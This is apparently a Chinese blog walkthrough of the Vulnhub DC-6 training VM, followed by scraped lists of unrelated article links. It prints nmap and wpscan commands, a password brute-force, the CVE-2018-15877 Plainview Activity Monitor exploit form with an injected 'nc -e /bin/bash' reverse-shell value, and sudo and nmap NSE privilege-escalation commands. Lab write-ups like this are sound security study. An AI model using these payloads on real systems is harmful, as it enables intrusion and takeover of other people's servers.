Vulnhub DC-6靶机渗透
信息搜集
nmap -sP 192.168.146.0/24 #找靶机ip
nmap -sS -Pn -A 192.168.146.143 #扫描靶机信息

22和80端口,老朋友了。
先直接访问http://192.168.146.143/,显示http://wordy/。
在C:\Windows\System32\drivers\etc下的HOSTS文件中增加192.168.146.143 wordy

又是wp,直接上wpscan扫描。
wpscan --url http://wordy/ -e u #爆破用户名

爆破出5个用户名admin,jens,graham,sarah,mark
再爆破密码,直接用kali自带的/usr/share/wordlists/rockyou.txt(估计要跑几天)
然后逛逛官网看到了提示

直接冲
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt #提取字典中有k01的数据
wpscan --url http://wordy/ -U admin,jens,graham,sarah,mark -P passwords.txt
#Username: mark, Password: helpdesk01

getFlag
用获得的账号在http://wordy/wp-login.php登陆
浏览下,发现一个可疑的功能Activity monitor,直接searchsploit搜索下。

看到一个很符合的,再看看他的html文件。
<html>
<!-- Wordpress Plainview Activity Monitor RCE
[+] Version: 20161228 and possibly prior
[+] Description: Combine OS Commanding and CSRF to get reverse shell
[+] Author: LydA(c)ric LEFEBVRE
[+] CVE-ID: CVE-2018-15877
[+] Usage: Replace 127.0.0.1 & 9999 with you ip and port to get reverse shell
[+] Note: Many reflected XSS exists on this plugin and can be combine with this exploit as well
-->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr| nc -nlvp 127.0.0.1 9999 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
看来是一个命令执行了,直接提取到poc.html文件,改下action和执行的命令就可以用了。
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://wordy/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ip" value="google.fr | nc 192.168.146.143 -e /bin/bash" />
<input type="hidden" name="lookup" value="Lookup" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
攻击机 nc -lvvp 4444 成功getshell

python -c 'import pty; pty.spawn("/bin/bash") #使用交互式命令行'
接下来同样思路,先去看看/home下的几个用户。
在mark目录下发现工作日志,里面也有gramham的密码。

su graham #直接切换用户,密码GSo7isUM1D4
然后再浏览下其他三个用户的东西,没发现什么。
这时候考虑提权看看 sudo -l,发现可以免密执行jens的命令 /home/jens/backups.sh

这里的backups我们是可以写的。

那么执行这个脚本的时候会以jens用户来执行,方法:sudo -u jens /home/jens/backups.sh
我们让jens执行/bin/bash不就直接得到了jens的shell了吗?
echo "/bin/bash" > backups.sh #写入文件
sudo -u jens /home/jens/backups.sh

sudo -l #在看看有什么sudo权限

emmm.....可以以root身份运行nmap,nmap能干的事很多来着。。。搜索一下。
主要有两种方法:使用--interactive选项,或者写一个nse脚本
参考p牛的文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
这里的nmap比较新没有--interactive选项了,所以从nse脚本入手
echo 'os.execute("/bin/sh")' > A1oe.nse #写脚本
sudo /usr/bin/nmap --script=/home/jens/A1oe.nse #使用nmap

拿到flag

总结
本次靶机也并不难,主要自己走了一遍nmap提权。
主要有两个方法:--interactive选项还有nse脚本。
Vulnhub DC-6靶机渗透的更多相关文章
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- VulnHub PowerGrid 1.0.1靶机渗透
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
- Vulnhub靶机渗透 -- DC5
信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...
- Vulnhub DC-9靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...
- Vulnhub靶机渗透 -- DC6
信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- vulnhub-DC:3靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...
随机推荐
- C++ 判断两个圆是否有交集
#define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include <math.h> #include <easyx.h ...
- Git 基础入门
目录 git安装 基本设置 创建版本库 相关概念 将代码提交到分支仓库 版本回退 代码修改 撤销修改 文件删除 github 远程仓库 添加远程仓库 克隆远程仓库 分支操作 忽略特殊文件 git安装 ...
- Python基础篇(四)_组合数据类型的基本概念
Python基础篇——组合数据类型的基本概念 集合类型:元素的集合,元素之间无序 序列类型:是一个元素向量,元素之间存在先后关系,通过序号进行访问,没有排他性,具体包括字符串类型.元组类型.列表类型 ...
- java-选中排序(新手)
//排序 选择排序 数组中每个元素都进行比较public class Test { //公共静态的主方法. public static void main(String[] args) { //创建一 ...
- 【分布式锁】05-使用Redisson中Semaphore和CountDownLatch原理
前言 前面已经写了Redisson大多的内容,我们再看看Redisson官网共有哪些组件: image.png 剩下还有Semaphore和CountDownLatch两块,我们就趁热打铁,赶紧看看R ...
- Jmeter Agent自动化
1.打开菜单栏-附件-系统工具-任务计划程序,新建PerformanceTest目录. 2.在PerformanceTest目录下新建一个基本任务. 3.完成. 这样,当我们在使用Jmeter进行分布 ...
- [剑指offer]10.斐波那契数列+青蛙跳台阶问题
10- I. 斐波那契数列 方法一 Top-down 用递归实现 def fibonacci(n): if n <= 0: return 0 if n == 1: return 1 return ...
- 【5min+】更好的选项实践。.Net Core中的IOptions
系列介绍 [五分钟的dotnet]是一个利用您的碎片化时间来学习和丰富.net知识的博文系列.它所包含了.net体系中可能会涉及到的方方面面,比如C#的小细节,AspnetCore,微服务中的.net ...
- Js遍历数组总结
Js遍历数组总结 遍历数组的主要方法为for.forEach.map.for in.for of for var arr = [1,2,3,4,5]; var n = arr.length; // 直 ...
- 向Hive中传入变量的方式
Hive向程序中传递变量的方式 暴力替换 字符串替换 正则替换 模板引擎 系统环境变量 shell环境变量:${env:varname} system系统变量:${system:varname} hi ...